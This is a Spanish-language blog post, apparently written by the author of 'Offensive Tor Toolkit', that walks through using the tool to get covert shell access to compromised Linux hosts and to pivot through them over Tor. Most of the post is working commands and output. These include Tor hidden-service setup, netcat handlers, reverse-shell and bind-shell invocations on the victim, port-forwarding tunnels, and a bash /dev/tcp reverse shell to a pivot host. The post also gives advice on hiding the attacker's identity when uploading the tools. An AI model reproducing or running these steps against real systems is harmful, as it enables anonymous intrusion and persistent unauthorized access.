Offensive Tor Toolkit es un conjunto de herramientas que permitirán realizar tareas de explotación y post-explotación sobre Tor de forma transparente en el lado de las víctimas. Para compilar estas herramientas, podemos simplemente usar Docker:

$ git clone https://github.com/atorrescogollo/offensive-tor-toolkit.git
$ cd ./offensive-tor-toolkit
$ docker build -t offensive-tor-toolkit .
$ docker run -v $(pwd)/dist/:/dist/ -it --rm offensive-tor-toolkit

Con esto, hemos construido la imagen, hemos arrancado un contenedor a partir de esa imagen y tendremos disponibles todas las herramientas en el directorio ./dist .

Estas herramientas solo tienen sentido en el lado de la víctima, por lo que deberían ser subidas. Para preservar el anonimato del atacante, se debería usar un servicio de terceros de subida de ficheros temporales como intermediario.

Offensive Tor Toolkit tiene dos categorías de utilidades en función del objetivo:

  • Acceso:
    • Reverse Shell over Tor
    • Hidden Bind Shell
  • Pivoting
    • Hidden Portforwarding
    • TCP2Tor Proxy

A continuación, explicamos el funcionamiento de cada una de las herramientas.

Acceso con Reverse Shell over Tor

En este caso, nos encontramos en una situación en la que podemos ejecutar comandos en la víctima de alguna forma. Para recibir una Reverse Shell, en el atacante, antes de nada, tenemos que publicar un Hidden Service:

$ mkdir -p -m=700 ~/.tor/hsdir/
$ cat > ~/.tor/torrc <<EOF
HiddenServiceDir $HOME/.tor/hsdir
HiddenServicePort 4444 127.0.0.1:4444
EOF
$ tor -f ~/.tor/torrc

NOTA: Podemos consultar el hostname del Hidden Service en $HOME/.tor/hsdir/hostname.

Ahora, iniciamos el handler de netcat:

$ nc -lnvp 4444

Para que la víctima se conecte a nuestro Hidden Service y llegue al handler, necesita poder conectarse a Tor y enviar la Reverse Shell a través de la instancia. De esto se va a ocupar la herramienta reverse-shell-over-tor. Lo mostramos a continuación:

$ ./reverse-shell-over-tor -listener m5et..jyd.onion:4444

Tras esta ejecución en la víctima, el atacante recibirá una sesión bash y podrá ejecutar comandos de forma interactiva:

$ nc -lvnp 4444
...
id
uid=48(apache) gid=48(apache) groups=48(apache)

NOTA: La sesión bash recibida, por defecto, no es completamente interactiva. Este método puede ser de utilidad para mejorar la experiencia.

Acceso con Hidden Bind Shell

En este caso, es la víctima quien publica el Hidden Service. Por cada conexión al Hidden Service, se ofrecerá una sesión bash distinta. Por tanto, lo primero es ejecutar la utilidad hidden-bind-shell en la víctima para que publique el Hidden Service y el dispatcher de shells:

$ ./hidden-bind-shell -data-dir /tmp/datadir/ -hiddensrvport 4444
...
Bind shell is listening on hgn...6yew.onion:4444

NOTA: En este caso, es importante indicar el parámetro -data-dir. Así, el Hidden Service siempre usará la misma dirección onion.

Una vez hemos publicado el Hidden Service en la víctima, el atacante usa su instancia de Tor para conectarse al Hidden Service y recibir la shell:

$ alias nctor='nc --proxy 127.0.0.1:9050 --proxy-type socks5'
$ nctor -v hgn...6yew.onion 4444
...
id uid=48(apache) gid=48(apache) groups=48(apache)

Pivoting con Hidden Port Forwarding

Dejamos a un lado el acceso para centrarnos en el acceso a redes internas. Supongamos que la víctima tiene acceso a un recurso de red en una red interna. Para acceder a ese recurso, necesitamos enrutar el tráfico a través de la víctima.

La utilidad hidden-portforwarding nos permitirá crear un túnel TCP cuya entrada será un puerto del atacante y, la salida, un puerto alcanzable por la víctima. De este modo, la ejecución para acceder a un servicio publicado exclusivamente en el localhost de la víctima sería la siguiente:

$ ./hidden-portforwarding -data-dir /tmp/pf-datadir -forward 127.0.0.1:8084 -hidden-port 9001
...
Forwarding xa7...4el.onion:9001 -> 127.0.0.1:8084

En este punto, el atacante solo tiene que alcanzar el Hidden Service en el puerto 9001 para comunicarse con el servicio que escucha en localhost:8084. Lo vemos a continuación:

$ alias curltor='curl -x socks5://localhost:9050'
$ curl http://xa7...4el.onion:9001
<h1>Hello World!</h1>

NOTA: En el caso de que queramos hacer el pivoting más dinámico, una buena opción sería usar hidden-portforwarding junto con Chisel. Para ver un ejemplo sobre este uso, consulta este enlace.

Pivoting inverso con TCP2Tor Proxy

Por último, supongamos una situación ligeramente diferente a las anteriores. En esta ocasión, queremos ganar acceso a una máquina que está en una red aislada sin acceso a Internet, por lo que no es capaz de conectarse a Tor. La única forma de conexión es usar una máquina previamente comprometida como pivote.

Con la utilidad tcp2tor-proxy, el pivote hará un Remote Port Forwarding. Es decir, publicará un servicio TCP alcanzable por la víctima en red aislada que enrutará el tráfico TCP a un Hidden Service controlado por el atacante.

Por tanto, el primer paso es iniciar el Hidden Service y el handler de netcat en el atacante (como vimos anteriormente):

$ mkdir -p -m=700 ~/.tor/hsdir/
$ cat > ~/.tor/torrc <<EOF
HiddenServiceDir $HOME/.tor/hsdir
HiddenServicePort 4444 127.0.0.1:4444
EOF
$ tor -f ~/.tor/torrc
$ nc -lnvp 4444

Ahora, el pivote deberá ejecutar tcp2tor-proxy del siguiente modo:

$ ./tcp2tor-proxy -listen 0.0.0.0:60101 -onion-forward m5et..jyd.onion:4444
...
Proxying 0.0.0.0:60101 -> m5et..jyd.onion:4444

En este momento, todo el tráfico TCP que llegue al pivote en el puerto 60101 alcanzará el Hidden Service del atacante y, por tanto, llegará al handler de netcat. Lo único que tiene que hacer la víctima es ejecutar una Reverse Shell simple hacia el pivote:

$ bash -i >& /dev/tcp/<PIVOTE>/60101 0>&1

Esta conexión llegará al handler y tendremos un acceso interactivo en la víctima de red aislada:

$ nc -lnvp 4444
...
id
uid=48(apache) gid=48(apache) groups=48(apache)

Conclusiones

Offensive Tor Toolkit es una suite de herramientas sencillas de usar que trata de simplificar la comunicación con Tor en el lado de la víctima. En el post de ToRAT: Reverse Shells sobre Tor, vimos una herramienta muy similar pero con diferencias muy importantes:

CaracterísticasToRATOffensive Tor Toolkit
Reverse ShellsSISI
Bind ShellsNOSI
Local Port ForwardingNOSI
Remote Port ForwardingNOSI
Dynamic Port ForwardingNOSI (con herramientas que implementen un proxy SOCKS como Chisel o Socat)
Shells interactivasNO (usa una shell propia similar a una sesión meterpreter)SI (con stty)
Metacomandos como subida y descarga de ficherosSINO
ScreenshotsSINO
Múltiples sesiones simultáneasSINO (pero se puede integrar con otras herramientas como Platypus)
Abstracción completa de uso de TorSINO (solo en la víctima)
Soporte para víctimas LinuxSISI
Soporte para víctimas WindowsSINO (de momento)

Vistas las diferencias, queda claro que el ámbito de uso es completamente distinto:

  • ToRAT está muy orientado a dispositivos de usuario sin tener muy en cuenta el apartado de red de la víctima. Además, trata de abstraer al atacante en el uso de Tor.
  • Offensive Tor Toolkit está muy orientado al uso en pentesting contra servidores Linux. Además, trata de simplificar el uso de Tor en el lado de la víctima.

Además, en el apartado de pivoting, resulta una herramienta muy útil para el pentesting con Tor. Simplifica enormemente el proceso de post-explotación y cabe destacar la facilidad de integración con otras herramientas gracias a la sencillez de la implementación.

A pesar de que es una herramienta muy joven, Offensive Tor Toolkit ya cuenta con características muy interesantes para el pentesting. ¿Te animas a probarla?

Álvaro Torres Cogollo.

Quieres contactar conmigo? Te dejo mis redes sociales a continuación.